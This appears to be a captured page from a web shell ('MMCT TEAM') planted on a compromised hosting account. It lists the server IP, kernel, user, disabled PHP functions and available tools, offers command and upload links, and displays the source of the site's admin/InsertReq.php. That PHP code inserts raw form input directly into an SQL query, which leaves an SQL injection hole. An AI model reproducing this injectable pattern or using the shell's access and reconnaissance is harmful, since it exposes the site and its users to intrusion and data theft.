MMCT TEAM
Server IP : 153.92.220.142  /  Your IP : 18.119.122.164
Web Server : LiteSpeed
System : Linux nl-srv-web516.main-hosting.eu 4.18.0-513.9.1.lve.el7h.x86_64 #1 SMP Mon Dec 4 13:57:13 UTC 2023 x86_64
User : u444427800 ( 444427800)
PHP Version : 8.1.27
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u444427800/domains/aaryashdermajoint.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u444427800/domains/aaryashdermajoint.com/public_html/admin/InsertReq.php
<?php include "./connect.php";


if (isset($_POST["contact_submit"])) {

    $name = $_POST['name'];
    $mobile = $_POST['mobile'];
    $email = $_POST['email'];
    $address = $_POST['address'];
    $message = $_POST['message'];
    // $redirect_url = $_POST['redirect_url'];

    $result = $conn->query("INSERT INTO `contact_query`(`name`, `mobile`, `email`, `address`,`message`) VALUES (
        '$name',
        '$mobile',
        '$email',
        '$address',
        '$message'
    )");
    echo $result;
    $array_message = array();
    if ($result) {
      
        $array_message["head"] = "Your request has been successfully submitted.";
        $array_message["para"] = "Our team will be contact you soon.";
        $array_message["status"] = "success";
        $_SESSION["message_contact"] = $array_message;
    } else {
        $array_message["head"] = "Some Issue";
        $array_message["para"] = "Please Contact Admin on +91 8299267113";
        $array_message["status"] = "error";
        $_SESSION["message_contact"] = $array_message;
    }
    ?>
    <script>
        // window.history.back();
        
    </script>
<?php
  header("location: ../thank-you.php");
}else{
  
}

?>




MMCT - 2023